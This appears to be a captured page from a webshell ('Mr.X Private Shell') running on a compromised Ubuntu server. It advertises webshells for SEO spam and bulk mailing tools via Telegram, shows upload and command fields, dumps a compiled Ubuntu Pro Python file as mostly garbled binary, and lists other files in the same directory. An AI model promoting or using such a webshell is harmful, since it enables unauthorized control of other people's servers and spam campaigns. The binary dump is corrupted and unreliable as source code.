__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�8���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJrJ	r	 SSK
JrJrJ
r
JrJrJrJrJr SSK
Jr SSK
JrJr SSK
Jr SSK
JrJrJr SSKJrJrJrJ r  SS	K!J"r"J#r# SS
K$J%r%J&r&J'r'J(r(J)r) \RT"5r+\RX"\RZ"\.55r/Sr0Sr1S
\
RdS\RfS\R4Sjr4S-S
\
RdS\\RjS\RfS\RS\64
Sjjr7S-S
\
RdS\8S\6S\6SS4
Sjjr9S.S
\
RdS\RtSS4Sjjr;SSSSS.S
\
RdS\8S\6S\8S\6S \	\\84S!jjr<SSS".S
\
RdS#\	\8S$\64S%jjrS&\8SS4S'jr=S/S&\8S(\	\\>SS4S)jjr?S
\
Rd4S*jr@S
\
RdS+\84S,jrAg)0�N)�List�Optional)�api�clouds�config�contract�entitlements�event_logger�
exceptions�	livepatch)�log)�messages�secret_manager)�status)�system�timer�util)�APPARMOR_PROFILES�CLOUD_BUILD_INFO�DEFAULT_CONFIG_FILE�DEFAULT_LOG_PREFIX)�
machine_token�notices)�AttachmentData�attachment_data_file�machine_id_file�only_series_check_marker_file�timer_jobs_state_file)zapt-news.servicezesm-cache.servicezua-timer.servicezua-timer.timerzua-auto-attach.pathzua-auto-attach.servicezua-reboot-cmds.servicezubuntu-advantage.service�
�cfg�contract_client�attached_atc��SSKJn [R"[	US95 [
R"US9 U"U5 UR5 g)Nr��update_motd_messages�r"�r )�uaclient.timer.update_messagingr%r�writer�	ua_statusr�update_activity_token)r r!r"r%s    �2/usr/lib/python3/dist-packages/uaclient/actions.py�_handle_partial_attachr-9s=��
E����~�+�F�G�
���������)�)�+�F�services_to_be_enabled�silentc�"�Sn/n/nUHjn[UURURUS9up�XY-nU	(dURUR5 MM[RURS9 Ml U(d�[XU5 [RU5 U(al[R"[Xg5V
Vs/sHAup�U
[R R#[%U5[&R("5S94PMC snn
S9e[R*"UV
s/sHn
U
[R,4PM sn
S9eg![Ra2n[RWR5 [XU5 UeSnAf[Ra! URWR5 SnGNI[a9nSnURWR5 URU5 SnAGN�SnAff=fs snn
fs sn
f)NT)r �name�variantr0)�serviceF)�	error_msg�log_path)�failed_services)�enable_entitlement_by_namer2r3�append�event�service_processedr�ConnectivityError�service_failedr-�UbuntuProError�	Exception�services_failed�AttachFailureUnknownError�zipr�UNEXPECTED_ERROR�format�str�pro_log�get_user_or_root_log_file_path�AttachFailureDefaultServices�!E_ATTACH_FAILURE_DEFAULT_SERVICES)r r/r!r"r0�retr7�unexpected_errors�enable_by_default_service�ent_ret�reason�exc�er2�	exceptions               r,�_enable_default_servicesrRFs����C��O���$�)?�%�8��.�3�3�1�9�9��	�O�G�
�N�C���&�&�'@�'E�'E�F��'�'�0I�0N�0N�'�O�*@�2��s�[�A�
���o�.���6�6�,/�'�,�!�,���
� �1�1�8�8�&)�)�n�%,�%K�%K�%M�9���,�!�
�

��9�9�!0�!� /���8�E�E�F� /�!��
�+���'�'��
���6�;�;�<��s�[�A��	���$�$�����8�=�=�>����$������8�=�=�>�� � ��#�#��$��!��!s7�A0E	�AH
�'H�	H�-F
�
4H�	H�
.G>�>H�token�allow_enable�returnc���SSKJn SSKJn [R
R
U5 [R"U5n[R"U5n[RR[RRS9nURXS9n	[ R""5R$n
U	R'S05R'S05n[)SUR'S	/555nUR'S
05R'S05R'SS
5n
U
(a�[ R*"U
5nX�:wa)[,R."UR0UR2S9e[4R6"[4R8R:UR0UR2S9 [<R>"U
5 UR?U	5 U"U5 [ RDRG5 U	R'S05R'S[ RD"U55n[HR>"U5 U(a1[RJ"XRM55n[OUUUUUS9 [PR>"[SUS95 U"U5 [TRV"5 g
![,R@anURC5 UeS
nAff=f)a+
Common functionality to take a token and attach via contract backend
:raise ConnectivityError: On unexpected connectivity issues to contract
    server or inability to access identity doc from metadata service.
:raise ContractAPIError: On unexpected errors when talking to the contract
    server.
r)�+check_entitlement_apt_directives_are_uniquer$)�tz)�contract_token�
attachment_dt�machineTokenInfo�contractInfoc3�v# �UH/nURS5S:XdMURS5U4v� M1 g7f)�type�supportN)�get)�.0rPs  r,�	<genexpr>�$attach_with_token.<locals>.<genexpr>�s6����=�A��5�5��=�I�%�	����v����=�s�9�9�resourceEntitlementsr_�affordances�
onlySeriesN)�release�series_codename�	machineId)r r/r!r"r0r&),�uaclient.entitlementsrWr(r%r�secrets�
add_secretr�get_machine_token_filer�UAContractClient�datetime�now�timezone�utc�add_contract_machiner�get_release_info�seriesr`�dict�get_distro_infor�AttachFailureRestrictedReleasergrhr�add�Notice�LIMITED_TO_RELEASErr)�%EntitlementsAPTDirectivesAreNotUnique�delete�get_machine_id�cache_clearr�get_enabled_by_default_servicesr	rRrrr�start)r rSrTr0rWr%�machine_token_filer!r"�new_machine_token�current_seriesr\�support_resource�only_series�allowed_releaserP�
machine_idr/s                  r,�attach_with_tokenr��s����E����%�%�e�,�&�=�=�c�B���/�/��4�O��#�#�'�'�8�+<�+<�+@�+@�'�A�K�'�<�<��=����,�,�.�5�5�N�$�(�(�);�R�@�D�D����L����!�!�"8�"�=����	���Y��+�	��]�B�	�	��\�4�	 ��
� �0�0��=���(��;�;�'�/�/� /� ?� ?��
�	����N�N�-�-�#�+�+�+�;�;�	
�
	&�+�+�K�8����.�/��3�C�8�
���%�%�'�"�&�&�'9�2�>�B�B��V�*�*�3�/��J����*�%��!)�!I�!I��0�0�2�"
��	!��#9�+�#��	
����~�+�F�G����	�K�K�M��1�;�;���!�!�#�����s�&K�K6�K1�1K6�cloudc�:�URU5n[XUS9 g)a@
:raise ConnectivityError: On unexpected connectivity issues to contract
    server or inability to access identity doc from metadata service.
:raise ContractAPIError: On unexpected errors when talking to the contract
    server.
:raise NonAutoAttachImageError: If this cloud type does not have
    auto-attach support.
)rSrTN)�acquire_pro_tokenr�)r r�rTrSs    r,�auto_attachr��s��
�#�#�C�(�E��c�\�Br.�)�access_onlyr3r0�
extra_argsr2r�r3r�c��[R"UUUUUS9nU(d:[R[R
R
URS95 UR[R"55upxU(aAU(d:[R[RR
URS95 Xx4$)z�
Constructs an entitlement based on the name provided. Passes kwargs onto
the entitlement constructor.
:raise EntitlementNotFoundError: If no entitlement with the given name is
    found, then raises this error.
)r r2r3r�r�)�title)r	�entitlement_factoryr:�infor�
ENABLING_TMPLrDr��enabler�ProgressWrapper�ENABLED_TMPL)	r r2r�r3r0r��entitlementrMrNs	         r,r8r8�s����2�2��
�����K��
�
�
�8�)�)�0�0�{�7H�7H�0�I�J�!�(�(��)<�)<�)>�?�O�G��v�
�
�
�8�(�(�/�/�k�6G�6G�/�H�I��?�r.)�simulate_with_token�show_allr�r�c�x�U(a"UUUS9up4X44$[R"XS9nSnX44$)z.
Construct the current Pro status dictionary.
)r rSr��r r�r)r*�simulate_statusr)r r�r�rrJs     r,rrsK����/�/��%��
����;���!�!�c�=�����;�r.�filenamec��/SQnSnSn[R"U5up4U(ao/nURS5H1n[R"X&5(dM URU5 M3 [R"USRU55 gg![RaXn[RS[U55 [R"SRU5[U55 SnAgSnAff=f)zy
Helper which gets ubuntu_pro apparmor logs from the kernel from the last
day and writes them to the specified filename.
)�
journalctlz-bz-kz--since=1 day agoz7apparmor=\".*(profile=\"ubuntu_pro_|name=\"ubuntu_pro_)N�
z!Failed to collect kernel logs:
%s�{}-error)r�subp�split�re�searchr9�
write_file�joinr�ProcessExecutionError�LOG�warningrErD)r��cmd�apparmor_re�kernel_logs�_�
apparmor_logs�kernel_linerPs        r,�_write_apparmor_logs_to_filer�%s���:�C�L�K��K�B����S�)���
��M�*�0�0��6���9�9�[�6�6�!�(�(��5� 7�
���h��	�	�-�(@�A�
��	�+�+�?����8�#�a�&�A����*�+�+�H�5�s�1�v�>�>��?�s�B�D�-AD�D�return_codesc�<�[R"UR5US9up4[R"USR	X455 g![
Ra9n[R"SR	U5[U55 SnAgSnAff=f)zCHelper which runs a command and writes output or error to filename.)�rcszstdout:
{}

stderr:
{}r�N)rr�r�r�rDrr�rE)r�r�r��out�errrPs      r,�_write_command_output_to_filer�>sz��
��;�;�s�y�y�{��=���	����2�9�9�#�C�	
���+�+�?����*�+�+�H�5�s�1�v�>�>��?�s�%A�B�"/B�Bc�^�TR=(d [TR[RR
[/U4Sj[R5Q$)Nc3�># �UHBn[U[RR5(dM.U"T5Rv� MD g7f�N)�
issubclassr	�repo�RepoEntitlement�	repo_file)ra�entitlement_clsr s  �r,rb�#_get_state_files.<locals>.<genexpr>Ss;����

�#C���/�<�+<�+<�+L�+L�M�
+�O�C� �*�*�#C�s
�-A
�A
)	�cfg_pathr�log_filer�ua_file�pathrr	�ENTITLEMENT_CLASSESr's`r,�_get_state_filesr�LsM���	���+�+�����%�%�*�*��	
�


�#/�#C�#C�

�
�
r.�
output_dirc�f	�[SSRU55 [SR[R5SRU55 [SSRU55 [SSRU55 [S	RS
R	[
Vs/sHnSU;dMSRU5PM sn55S
RU55 [
H.n[SRU5SRX5SS/S9 M0 [
USS9upE[R"SRU5[R"U[RS95 [R"5n[R"SRU5[R"U55 [U5n[R"5(a[ R""5S[$O[ R&"5/n[)U5Htup�[R*"[R,"U
55n[R"[.R0R	USRU	55U5 Mv U[:R:"[<S-5-H�n
[.R0R?U
5(dM)[R,"U
5n[R*"U5n[R"5(a[R"X�5 [R"[.R0R	U[.R0RAU
55U5 M� [CSRU55 [DH@n
[.R0R?U
5(dM)[FRH"X�5 MB gs snf![2a,n[4R7SU
[9U55 SnAGMSnAff=f![2a,n[4R7SU
[9U55 SnAGM�SnAff=f![2a+n[4R7SU
[9U55 SnAM�SnAff=f)z?
Write all relevant Ubuntu Pro logs to the specified directory
zcloud-idz{}/cloud-id.txtz	{} statusz{}/livepatch-status.txtzsystemctl list-timers --allz{}/systemd-timers.txtzujournalctl --boot=0 -o short-precise -u cloud-init-local.service -u cloud-init-config.service -u cloud-config.servicez{}/cloud-init-journal.txtzjournalctl -o short-precise {}� z.servicez-u {}z{}/pro-journal.txtzsystemctl status {}z	{}/{}.txtr�)r�Fr�z{}/pro-status.json)�clsz{}/environment_vars.jsonNz
user{}.logz&Failed to collect user log file: %s
%s�*zFailed to load file: %s
%sz{}/apparmor_logs.txtzFailed to copy file: %s
%s)%r�rDr�
LIVEPATCH_CMDr��UA_SERVICESrrr��json�dumpsr�DatetimeAwareJSONEncoder�get_pro_environmentr��we_are_currently_rootrF�get_all_user_log_files�USER_LOG_COLLECTED_LIMIT�get_user_log_file�	enumerate�redact_sensitive_logs�	load_file�osr�r?r�r�rE�globr�isfile�basenamer�r�shutil�copy)r r��sr4�
pro_statusr��env_vars�state_files�user_log_files�log_file_idxr��contentrP�fs              r,�collect_logsr�[s���"��%�,�,�Z�8��"����9�2�2�3�!�(�(��4��"�%��&�&�z�2��"�
&�
	$�*�*�:�6��"�	,�4�4��H�H�,7�K�K�q�:��?�"�����"�K�K�
�	
�
	�#�#�J�/�
���%�!�(�(��1����z�3��Q��	
���s�U�3�M�J�
����#�#�J�/��
�
�:�4�#@�#@�A���'�'�)�H�
���"�)�)�*�5��
�
�8���
#�3�'�K��%�%�'�'�	�&�&�(�)B�*B�C��'�'�)�
*��#,�N�";���		��0�0��1A�1A�(�1K�L�G���������Z��)<�)<�\�)J�K��
�#<��4�9�9�%7�#�%=�>�
>��
�7�7�>�>�!���
� �*�*�1�-���0�0��9�G��)�)�+�+��!�!�!�-���������Z����)9�)9�!�)<�=�w�
�?�(!�!7�!>�!>�z�!J�K���
�7�7�>�>�!���
����A�*���CL��H�	��K�K�9�8�S��V�
�
��	���
����9�1�c�!�f�E���
��.�
����9�1�c�!�f�E���
�sU�-
P�;P�1A.P	�-Q�)Q;�	
P?� P:�:P?�
Q8� Q3�3Q8�;
R0� R+�+R0)F)Tr�)Bror�r��loggingr�r�r��typingrr�uaclientrrrrr	r
rrr
rFrrrr*rrr�uaclient.defaultsrrrr�uaclient.filesrr�uaclient.files.state_filesrrrrr�get_event_loggerr:�	getLogger�replace_top_level_logger_name�__name__r�r�r��UAConfigrnr-�EnableByDefaultService�boolrRrEr��AutoAttachInstancer�r8r��intr�r�r��r.r,�<module>r�s~������	�	�
�!�	�	�	�$�-�(�(�(���2���	�%�%�'��
����:�:�8�D�E��	����
,�	���
,��.�.�
,��"�"�
,�$�?�	���?� ��!@�!@�A�?��.�.�?��"�"�	?�

�?�L�	Q�	���Q��Q��Q�
�	Q�

�Q�n�C�	���C��$�$�C�
�	C�*���&*��	����

���	�
��
�
���c��#��J*.��	�	����"�#����	�,B�3�B�4�B�4=A�
��
�&.�t�C�y�&9�
�	�
��&�/�/��b�f�o�o�b�3�br.

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager